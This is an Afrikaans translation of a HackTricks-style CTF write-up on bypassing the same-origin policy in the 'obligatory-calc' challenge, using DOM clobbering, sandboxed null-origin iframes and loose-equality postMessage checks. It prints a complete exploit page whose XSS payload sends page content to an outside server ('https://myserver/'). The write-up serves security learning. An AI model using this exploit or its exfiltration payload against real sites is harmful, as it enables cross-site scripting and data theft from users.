Bypassing SOP with Iframes - 2

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Iframes in SOP-2

In die oplossing vir hierdie uitdaging, stel @Strellic_ 'n soortgelyke metode voor as in die vorige afdeling. Kom ons kyk daarna.

In hierdie uitdaging moet die aanvaller hierdie omseiling:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

As hy dit doen, kan hy 'n postmessage stuur met HTML-inhoud wat in die bladsy geskryf gaan word met innerHTML sonder sanitasie (XSS).

Die manier om die eerste toets te omseil, is deur window.calc.contentWindow na undefined te maak en e.source na null:

  • window.calc.contentWindow is eintlik document.getElementById("calc"). Jy kan document.getElementById oorskryf met <img name=getElementById /> (let daarop dat die Sanitizer API -hier- nie ingestel is om teen DOM-oorskrywingsaanvalle te beskerm in sy verstektoestand nie).

  • Daarom kan jy document.getElementById("calc") oorskryf met <img name=getElementById /><div id=calc></div>. Dan sal window.calc undefined wees.

  • Nou moet ons hê dat e.source undefined of null is (omdat == gebruik word in plaas van ===, is null == undefined True). Dit is "maklik" om te kry. As jy 'n iframe skep en 'n postMessage daarvan stuur en onmiddellik die iframe verwyder, sal e.origin null wees. Kyk na die volgende kode

let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

Om die tweede kontrole oor die token te omseil, stuur jy die token met die waarde null en maak die waarde van window.token undefined:

  • Dit is maklik om die token in die postMessage te stuur met die waarde null.

  • window.token word geroep deur die funksie getCookie wat document.cookie gebruik. Let daarop dat enige toegang tot document.cookie in null oorsprong bladsye 'n fout veroorsaak. Dit sal veroorsaak dat window.token die waarde undefined het.

Die finale oplossing deur @terjanq is as volg: hier.

<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');

function start(){
var ifr = document.createElement('iframe');
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = 'allow-scripts allow-popups';
ifr.srcdoc = `<script>(${hack})()<\/script>`

document.body.appendChild(ifr);

function hack(){
var win = open('https://obligatory-calc.ctf.sekai.team');
setTimeout(()=>{
parent.postMessage('remove', '*');
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
},1000);
}

// this removes the iframe so e.source becomes null in postMessage event.
onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
}
setTimeout(start, 1000);
</script>
</body>
</html>
Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Last updated